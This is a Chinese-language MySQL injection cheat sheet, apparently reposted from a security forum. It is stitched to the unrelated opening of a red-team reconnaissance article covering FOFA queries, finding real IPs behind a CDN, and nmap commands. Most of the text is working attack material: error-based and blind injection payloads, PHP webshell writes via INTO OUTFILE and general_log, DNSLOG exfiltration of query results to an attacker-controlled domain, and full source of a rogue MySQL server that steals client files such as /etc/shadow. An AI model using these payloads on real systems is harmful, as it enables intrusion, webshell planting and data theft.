name_const(version(),0x1),name_const(version(),0x1))a`
### uuid相关函数
适用版本：8.0.x
参数格式不正确。
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
### join using()注列名
通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接，会由于冗余的原因(相同列名存在)，而发生错误。
并且报错信息会存在重复的列名，可以使用 **USING** 表达式声明内连接（INNER JOIN）条件来避免报错。
mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b using(username,password))c
### GTID相关函数
参数格式不正确。
mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);
### 报错函数速查表
注：默认MYSQL_ERRMSG_SIZE=512
类别 | 函数 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函数显错长度 | Mysql报错内容长度 | 额外限制
---|---|---|---|---|---|---|---|---|---
主键重复 | floor round | ❓ | ✔️ | ✔️ | ✔️ | | 64 | | data_type ≠ varchar
列名重复 | name_const | ❓ | ✔️ | ✔️ | ✔️ | ✔️ | | | only version()
列名重复 | join | [5.5.49, ?) | ✔️ | ✔️ | ✔️ | ✔️ | | | only columns
数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ✔️ | | | | |
MYSQL_ERRMSG_SIZE |
数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ✔️ | | | | | MYSQL_ERRMSG_SIZE |
几何对象 | geometrycollection linestring multipoint multipolygon multilinestring
polygon | [?, 5.5.48] | ✔️ | | | | | 244 |
空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash |
[5.7, ?) | | | ✔️ | ✔️ | 128 | |
GTID | gtid_subset gtid_subtract | [5.6.5, ?) | | ✔️ | ✔️ | ✔️ | 200 | |
JSON | json_* | [5.7.8, 5.7.11] | | | ✔️ | | 200 | |
UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | | | | ✔️ | 128 | |
XPath | extractvalue updatexml | [5.1.5, ?) | ✔️ | ✔️ | ✔️ | ✔️ | 32 |
> 摘自——[Mysql 注入基础小结](https://blog.sari3l.com/posts/9622f295/)
## 文件读/写
我们知道Mysql是很灵活的，它支持文件读/写功能。在讲这之前，有必要介绍下什么是`file_priv`和`secure-file-priv`。
简单的说：`file_priv`是对于用户的文件读写权限，若无权限则不能进行文件读写操作，可通过下述payload查询权限。
select file_priv from mysql.user where user=$USER host=$HOST;
`secure-file-priv`是一个系统变量，对于文件读/写功能进行限制。具体如下：
* 无内容，表示无限制。
* 为NULL，表示禁止文件读/写。
* 为目录名，表示仅允许对特定目录的文件进行读/写。
注： **5.5.53本身及之后的版本默认值为NULL，之前的版本无内容** 。
三种方法查看当前`secure-file-priv`的值：
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
修改：
* 通过修改my.ini文件，添加：`secure-file-priv=`
* 启动项添加参数：`mysqld.exe --secure-file-priv=`
### 读
Mysql读取文件通常使用load_file函数，语法如下：
select load_file(file_path);
第二种读文件的方法：
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件
第三种：
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件
限制：
* 前两种需要`secure-file-priv`无值或为有利目录。
* 都需要知道要读取的文件所在的绝对路径。
* 要读取的文件大小必须小于`max_allowed_packet`所设置的值
#### 低权限读取文件
5.5.53`secure-file-priv=NULL`读文件payload，mysql8测试失败，其他版本自测。
drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;
#### Mysql连接数据库时可读取文件
这个漏洞是mysql的一个特性产生的，是上述的第三种读文件的方法为基础的。
简单描述该漏洞：Mysql客户端在执行`load data
local`语句的时，先想mysql服务端发送请求，服务端接收到请求，并返回需要读取的文件地址，客户端接收该地址并进行读取，接着将读取到的内容发送给服务端。用通俗的语言可以描述如下：
> 原本的查询流程为
>
>
> 客户端：我要把我的win.ini文件内容插入test表中
> 服务端：好，我要你的win.ini文件内容
> 客户端：win.ini的内容如下....
>
> 假设服务端由我们控制，把一个正常的流程篡改成如下
>
>
> 客户端：我要把我的win.ini文件内容插入test表中
> 服务端：好，我要你的conn.php内容
> 客户端：conn.php的内容如下???
>
> 例子部分修改自：[CSS-T | Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/)
换句话说：`load data local`语句要读取的文件会受到服务端的控制。
其次，在[Mysql官方文档对于`load data
local`语句的安全说明](https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html)中有这么一句话:
> A patched server could in fact reply with a file-transfer request to any
> statement, not just [`LOAD DATA
> LOCAL`](https://dev.mysql.com/doc/refman/8.0/en/load-data.html), so a more
> fundamental issue is that clients should not connect to untrusted servers.
意思是：服务器对客户端的文件读取请求实际上是可以返回给客户端发送给服务端的任意语句请求的，不仅仅只是`load data local`语句。
这就会产生什么结果呢？之前讲的例子，将可以变成：
客户端：我需要查询test表下的xx内容
服务端：我需要你的conn.php内容
客户端：conn.php的内容如下???
可以看到，客户端相当于被攻击者给 **半劫持** 了。
利用上述的特性，我们通过构造一个恶意的服务端，即可完成上述的过程。
简易恶意服务端代码：
#代码摘自：https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0',
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()
需要注意的是：这个过程需要客户端允许使用`load data local`才行，不过这个信息在客户端尝试连接到服务端的数据包中可以找到。
### 写
说完了读文件，那我们来说说mysql的写文件操作。常见的写文件操作如下：
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
限制：
* `secure-file-priv`无值或为可利用的目录
* 需知道目标目录的绝对目录地址
* 目标目录可写，mysql的权限足够。
#### 日志法
由于mysql在5.5.53版本之后，`secure-file-priv`的值默认为`NULL`，这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。
mysql日志文件的一些相关设置可以直接通过命令来进行：
//请求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//还有其他很多日志都可以进行利用
...
之后我们在让数据库执行满足记录条件的恶意语句即可。
限制：
* 权限够，可以进行日志的设置操作
* 知道目标目录的绝对路径
## DNSLOG带出数据
什么是DNSLOG？简单的说，就是关于特定网站的DNS查询的一份记录表。若A用户对B网站进行访问/请求等操作，首先会去查询B网站的DNS记录，由于B网站是被我们控制的，便可以通过某些方法记录下A用户对于B网站的DNS记录信息。此方法也称为OOB注入。
如何用DNSLOG带出数据？若我们想要查询的数据为：`aabbcc`，那么我们让mysql服务端去请求`aabbcc.evil.com`，通过记录`evil.com`的DNS记录，就可以得到数据：`aabbcc`。
>
>
>
> 引自：[Dnslog在SQL注入中的实战](https://www.anquanke.com/post/id/98096)
payload: `load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))`
应用场景：
* 三大注入无法使用
* 有文件读取权限及`secure-file-priv`无值。
* 不知道网站/目标文件/目标目录的绝对路径
* 目标系统为Windows
推荐平台：[ceye.io](http://ceye.io/)
为什么Windows可用，Linux不行？这里涉及到一个叫UNC的知识点。简单的说，在Windows中，路径以`\\`开头的路径在Windows中被定义为UNC路径，相当于网络硬盘一样的存在，所以我们填写域名的话，Windows会先进行DNS查询。但是对于Linux来说，并没有这一标准，所以DNSLOG在Linux环境不适用。注：payload里的四个`\\\\`中的两个`\`是用来进行转义处理的。
## 二次注入
什么是二次注入？简单的说，就是攻击者构造的恶意payload首先会被服务器存储在数据库中，在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。
举个例子，某个查询当先登录的用户信息的SQL语句如下：
select * from users where username='$_SESSION['username']'
登录/注册处的SQL语句都经过了addslashes函数、单引号闭合的处理，且无编码产生的问题。
对于上述举的语句我们可以先注册一个名为`admin'
#`的用户名，因为在注册进行了单引号的转义，故我们并不能直接进行insert注入，最终将我们的用户名存储在了服务器中，注意：反斜杠转义掉了单引号，在mysql中得到的数据并没有反斜杠的存在。
在我们进行登录操作的时候，我们用注册的`admin'
#`登录系统，并将用户部分数据存储在对于的SESSION中，如`$_SESSION['username']`。
上述的`$_SESSION['username']`并没有经过处理，直接拼接到了SQL语句之中，就会造成SQL注入，最终的语句为：
select * from users where username='admin' #'
## order by比较盲注
这种方法运用的情况比较极端一些，如布尔盲注时，字符截取/比较限制很严格。例子：
select * from users where (select 'r' union select user() order by 1 limit 1)='r'
如果能一眼看出原理的话就不需要继续看下去了。
实际上此处是利用了`order
by`语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后，则`limit`语句将不会让其输出，那么整个条件将会成立，否之不成立。
利用这种方法可以做到不需要使用`like、rlike、regexp`等匹配语句以及字符操作函数。
再举个例子：
select username,flag,password from users where username='$username;'
页面回显的字段为：username与password，如何在`union`与`flag`两单词被拦截、无报错信息返回的情况下获取到用户名为`admin`的flag值？
我们前边讲到了无列名注入，通过使用`union`语句来对未知列名进行重命名的形式绕过，还讲过通过使用`join
using()`报错注入出列名。但现在，这两种方法都不可以的情况下该如何获取到flag字段的内容？
使用`order by`可轻松盲注出答案。payload：
select username,flag,password from users where username='admin' union select 1,'a',3 order by 2
与之前的原理相同，通过判断前后两个select语句返回的数据前后顺序来进行盲注。
## 常见函数/符号归类
### 注释符
单行注释 | 单行注释 | 单行注释 | 多行(内联)注释
---|---|---|---
`#` | `-- x //x为任意字符` | `;%00` | `/*任意内容*/`
### 常用运算符
运算符 | 说明 | 运算符 | 说明
---|---|---|---
&& | 与，同and。 | \ | \ | | 或，同or。
! | 非，同not。 | ~ | 一元比特反转。
^ | 异或，同xor。 | + | 加，可替代空格，如`select+user()`。
### 系统信息函数
函数 | 说明
---|---
USER() | 获取当前操作句柄的用户名，同SESSION_USER()、CURRENT_USER()，有时也用SYSTEM_USER()。
DATABASE() | 获取当前选择的数据库名，同SCHEMA()。
VERSION() | 获取当前版本信息。
### 进制转换
函数 | 说明
---|---
ORD(str) | 返回字符串第一个字符的ASCII值。
OCT(N) | 以字符串形式返回 `N` 的八进制数，`N` 是一个BIGINT 型数值，作用相当于`CONV(N,10,8)`。
HEX(N_S) | 参数为字符串时，返回 `N_or_S` 的16进制字符串形式，为数字时，返回其16进制数形式。
UNHEX(str) | `HEX(str)` 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字，然后再转换成 ASCII 码所对应的字符。
BIN(N) | 返回十进制数值 `N` 的二进制数值的字符串表现形式。
ASCII(str) | 同`ORD(string)`。
CONV(N,from_base,to_base) | 将数值型参数 `N` 由初始进制 `from_base` 转换为目标进制 `to_base`
的形式并返回。
CHAR(N,... [USING charset_name]) | 将每一个参数 `N` 都解释为整数，返回由这些整数在 ASCII
码中所对应字符所组成的字符串。
### 字符截取/拼接
函数 | 说明
---|---
SUBSTR(str,N_start,N_length) | 对指定字符串进行截取，为SUBSTRING的简单版。
SUBSTRING() | 多种格式`SUBSTRING(str,pos)、SUBSTRING(str FROM
pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)`。
RIGHT(str,len) | 对指定字符串从 **最右边** 截取指定长度。
LEFT(str,len) | 对指定字符串从 **最左边** 截取指定长度。
RPAD(str,len,padstr) | 在 `str` 右方补齐 `len` 位的字符串 `padstr`，返回新字符串。如果 `str` 长度大于
`len`，则返回值的长度将缩减到 `len` 所指定的长度。
LPAD(str,len,padstr) | 与RPAD相似，在`str`左边补齐。
MID(str,pos,len) | 同于 `SUBSTRING(str,pos,len)`。
INSERT(str,pos,len,newstr) | 在原始字符串 `str` 中，将自左数第 `pos` 位开始，长度为 `len`
个字符的字符串替换为新字符串 `newstr`，然后返回经过替换后的字符串。`INSERT(str,len,1,0x0)`可当做截取函数。
CONCAT(str1,str2...) | 函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(...) | 返回一个字符串结果，该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,...) |
根据参数1，返回所输入其他的参数值。可用作布尔盲注，如：`EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))`。
### 常见全局变量
变量 | 说明 | 变量 | 说明
---|---|---|---
@@VERSION | 返回版本信息 | @@HOSTNAME | 返回安装的计算机名称
@@GLOBAL.VERSION | 同`@@VERSION` | @@BASEDIR | 返回MYSQL绝对路径
PS：查看全部全局变量`SHOW GLOBAL VARIABLES;`。
### 其他常用函数/语句
函数/语句 | 说明
---|---
LENGTH(str) | 返回字符串的长度。
PI() | 返回π的具体数值。
REGEXP "statement" | 正则匹配数据，返回值为布尔值。
LIKE "statement" | 匹配数据，%代表任意内容。返回值为布尔值。
RLIKE "statement" | 与regexp相同。
LOCATE(substr,str,[pos]) | 返回子字符串第一次出现的位置。
POSITION(substr IN str) | 等同于 `LOCATE()`。
LOWER(str) | 将字符串的大写字母全部转成小写。同：`LCASE(str)`。
UPPER(str) | 将字符串的小写字母全部转成大写。同：`UCASE(str)`。
ELT(N,str1,str2,str3,...) | 与`MAKE_SET(bit,str1,str2...)`类似，根据`N`返回参数值。
NULLIF(expr1,expr2) | 若expr1与expr2相同，则返回expr1，否则返回NULL。
CHARSET(str) | 返回字符串使用的字符集。
DECODE( _crypt_str_ , _pass_str_ ) | 使用 pass_str 作为密码，解密加密字符串
crypt_str。加密函数：`ENCODE(str,pass_str)`。
## 约束攻击
什么是约束攻击？
仍然是先举个例子：
我们先通过下列语句建立一个用户表
CREATE TABLE users(
username varchar(20),
password varchar(20)
)
注册代码：
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注册成功');
}
?>
登录判断代码：
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>
在无编码问题，且进行了单引号的处理情况下仍可能发生什么SQL注入问题呢？
我们注意到，前边创建表格的语句限制了username和password的长度最大为25，若我们插入数据超过25，MYSQL会怎样处理呢？答案是MYSQL会截取前边的25个字符进行插入。
而对于`SELECT`查询请求，若查询的数据超过25长度，也不会进行截取操作，这就产生了一个问题。
通常对于注册处的代码来说，需要先判断注册的用户名是否存在，再进行插入数据操作。如我们注册一个`username=admin[25个空格]x&password=123456`的账号，服务器会先查询`admin[25个空格]x`的用户是否存在，若存在，则不能注册。若不存在，则进行插入数据的操作。而此处我们限制了username与password字段长度最大为25，所以我们实际插入的数据为`username=admin[20个空格]&password=123456`。
接着进行登录的时，我们使用：`username=admin&password=123456`进行登录，即可成功登录admin的账号。
防御：
* 给username字段添加unique属性。
* 使用id字段作为判断用户的凭证。
* 插入数据前判断数据长度。
## 堆叠注入
简单的说，由于分号`;`为MYSQL语句的结束符。若在支持多语句执行的情况下，可利用此方法执行其他恶意语句，如`RENAME`、`DROP`等。
注意，通常多语句执行时，若前条语句已返回数据，则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入，若无法使用联合注入，
可考虑使用`RENAME`关键字，将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名
。具体参考：[2019强网杯——随便注Writeup](https://www.ctfwp.com/articals/2019qiangwang.html#随便注)
PHP中堆叠注入的支持情况：
| Mysqli | PDO | MySQL
---|---|---|---
引入的PHP版本 | 5.0 | 5.0 | 3.0之前
PHP5.x是否包含 | 是 | 是 | 是
多语句执行支持情况 | 是 | 大多数 | 否
> 引自：[PDO场景下的SQL注入探究](https://xz.aliyun.com/t/3950)
## handler语句代替select查询
>
> mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是mysql专用的语句，并没有包含到SQL标准中。
语法结构：
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如：通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
## 一些小Trick
这里跟大家分享一些有意思的Trick，主要在一些CTF题出现，这里也把它记下来，方便复习。
### PHP`/union.+?select/ig`绕过。
在某些题目中，题目禁止union与select同时出现时，会用此正则来判断输入数据。
* 利用点：[PHP正则回溯BUG](https://bugs.php.net/bug.php?id=70699)
* 具体分析文章：[PHP利用PCRE回溯次数限制绕过某些安全限制](https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html)
>
> PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限`pcre.backtrack_limit`。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为
> 100万)，那么正则停止，返回未匹配到数据。
故而我们构造payload：`union/*100万个a，充当垃圾数据*/select`即可绕过正则判断。
一道相关的CTF题：[TetCTF-2020 WP BY
MrR3boot](https://github.com/MrR3boot/CTF/tree/master/TetCTF-2020)
### 无列名盲注
前边提到了，在知道表名，不知道列名的情况下，我们可以利用`union`来给未知列名“重命名”，还可以利用报错函数来注入出列名。现在，除了之前的`order
by`盲注之外，这里再提一种新的方法，直接通过select进行盲注。
核心payload：`(select 'admin','admin')>(select * from users limit 1)`
子查询之间也可以直接通过`>、<、=`来进行判断。
### UPDATE注入重复字段赋值
即：`UPDATA table_name set field1=new_value,field1=new_value2
[where]`，最终`field1`字段的内容为`new_value2`，可用这个特性来进行UPDATA注入。如：
UPDATE table_name set field1=new_value,field1=(select user()) [where]
### LIMIT之后的字段数判断
我们都知道若注入点在where子语句之后，判断字段数可以用`order by`或`group by`来进行判断，而`limit`后可以利用 `into
@,@` 判断字段数，其中@为mysql临时变量。
## sys系统库
>
> #查询所有的库：
> SELECT table_schema FROM sys.schema_table_statistics GROUP BY
> table_schema;
> SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY
> table_schema;
> #查询指定库的表（若无则说明此表从未被访问）：
> SELECT table_name FROM sys.schema_table_statistics WHERE
> table_schema='mspwd' GROUP BY table_name;
> SELECT table_name FROM sys.x$schema_flattened_keys WHERE
> table_schema='mspwd' GROUP BY table_name;
> #统计所有访问过的表次数:库名,表名,访问次数
> select table_schema,table_name,sum(io_read_requests+io_write_requests)
> io from sys.schema_table_statistics group by table_schema,table_name order
> by io desc;
>
> #查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
> SELECT user,db,command,current_statement,last_statement,time FROM
> sys.session;
> #查看所有曾连接数据库的IP,总连接次数
> SELECT host,total_connections FROM sys.host_summary;
>
>
> 节选自：[Mysql的奇淫技巧(黑科技)](https://www.t00ls.net/thread-54783-1-1.html)
视图->列名 | 说明
---|---
host_summary -> host、total_connections | 历史连接IP、对应IP的连接次数
innodb_buffer_stats_by_schema -> object_schema | 库名
innodb_buffer_stats_by_table -> object_schema、object_name | 库名、表名(可指定)
io_global_by_file_by_bytes -> file | 路径中包含库名
io_global_by_file_by_latency -> file | 路径中包含库名
processlist -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句
schema_auto_increment_columns -> table_schema、table_name、column_name |
库名、表名、列名
schema_index_statistics -> table_schema、table_name | 库名、表名
schema_object_overview -> db | 库名
schema_table_statistics -> table_schema、table_name | 库名、表名
schema_table_statistics_with_buffer -> table_schema、table_name | 库名、表名
schema_tables_with_full_table_scans -> object_schema、object_name |
库名、表名(全面扫描访问)
session -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句
statement_analysis -> query、db | 数据库最近执行的请求、对于请求访问的数据库名
statements _with_ * -> query、db | 数据库最近执行的特殊情况的请求、对应请求的数据库
version -> mysql_version | mysql版本信息
x$innodb_buffer_stats_by_schema | 同innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table | 同innodb_buffer_stats_by_table
x$io_global_by_file_by_bytes | 同io_global_by_file_by_bytes
...... | 同......
x$schema_flattened_keys -> table_schema、table_name、index_columns | 库名、表名、主键名
x$ps_schema_table_statistics_io -> table_schema、table_name、count_read |
库名、表名、读取该表的次数
差点忘了，还有mysql数据库也可以查询表名、库名。
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();
# Mysql注入防御
* 单引号闭合可控变量，并进行相应的转义处理
* 尽量使用预编译来执行SQL语句
* 采用白名单机制/完善黑名单
* 安装WAF防护软件
* 拒绝不安全的编码转换，尽量统一编码
* 关闭错误提示
# 结语
可能记得东西有点多导致很多内容都是精简过后的知识，其实本文可以当做字典一样来使用，可能讲得不是很细致，但是却方便我们进行复习，回想起脑海中的知识。文章花费了大量的笔墨在记录许多与Mysql注入相关的Trick，故而可能会显得比较杂乱，没有得到一个比较好的整理，可能对于不太了解Mysql注入的同学不太友好，望谅解。
# 参考
* [【PHP代码审计】入门之路——第二篇-宽字节注入](https://xz.aliyun.com/t/1719)
* [MySQL注入技巧](https://wooyun.js.org/drops/MySQL注入技巧.html)
* [Mysql 注入基础小结](https://blog.sari3l.com/posts/9622f295/)
* [Mysql的奇淫技巧(黑科技)](https://www.t00ls.net/thread-54783-1-1.html)
* [Read MySQL Client's File](https://lightless.me/archives/read-mysql-client-file.html)
* [Dnslog在SQL注入中的实战](https://www.anquanke.com/post/id/98096)
* [从安全角度深入理解MySQL编码转换机制](https://www.freebuf.com/articles/web/154932.html)
* [mysql sys Schema Object Index](https://dev.mysql.com/doc/refman/8.0/en/sys-schema-object-index.html) | 社区文章 |
近期参加了几次攻防演练，本文记录一下自己在信息收集方面学习到的技巧与经验。
## 一、从FOFA开始
最近有好几个攻防演练的规则都是目标被打进内网或者拿下靶标就退出公共目标，其他攻击方无法再提交该单位的报告，因此最初的打点要越快越好，而第一轮信息收集的质量很大程度上会影响打点的成功率，因此推荐最先通过fofa进行信息收集，因为fofa既可以搜到部分子域名，也可以搜到目标的各种系统，如OA、后台等，而这些系统很容易成为突破口。
### 1.fofa语法
fofa首页就有，可以自己查询
### 2.fofa语句
网上已经有很多介绍fofa语句的文章，这里推荐几个常用的：
* title="目标名称" && region="xx省"
* title="目标名称" && city="xx市"
* cert="目标域名或者证书关键字" && region="xx省"
* cert="目标域名或者证书关键字" && city="xx市"
* ((title="目标名称" || host="目标域名") && country="CN") && region!="HK"
需要注意的是fofa语句不是一成不变的，同一个目标单位的查询关键词可能有好几个，同时在信息收集的过程中也可能发现新的关键词，比如备案号、传真、客服电话等，这些东西往往是唯一的。搜索别人没有搜的关键词就可能发现别人没发现的资产，就可能拿到别人没拿到的shell，需要灵活运用。
### 3.打不开的资产
fofa中可能搜到打不开但仍然属于目标单位的资产，可以先ping一下看看，如果能ping出IP说明服务器还存活，只是web服务没开，如果ping的是IP，可以扫全端口+C段，是域名且没有CDN的话也可以全端口+C段。
## 二、CDN
直接ping目标域名可判断是否有CDN：
在有CDN的情况下，找真实IP的方法网上也比较多，这里说2个：
### 1.ping主域
如果是www开头的域名存在CDN，可以把www.去掉再ping，可能得到真实IP
### 2.通过网站证书寻找真实IP
此方法适用于https的站点
首先获得网站证书序列号（不要挂代理）
转换成十进制 <https://tool.lu/hexconvert/>
fofa语法 cert：cert="google" 搜索证书(https或者imaps等)中带有google的资产。
搜索 cert="34854334815482420686509548370"
第一个就是真实IP
## 三、端口
nmap扫得比较慢但较准确，这里给2条命令
nmap -sS -v -sV -p 1-65535 IP # ping目标有回复时
nmap -sS -v -sV -p 1-65535 -Pn IP # ping目标没有回复时
可以在阿里云的vps上装nmap，用它来扫端口，一般1个IP全端口3-5分钟扫完
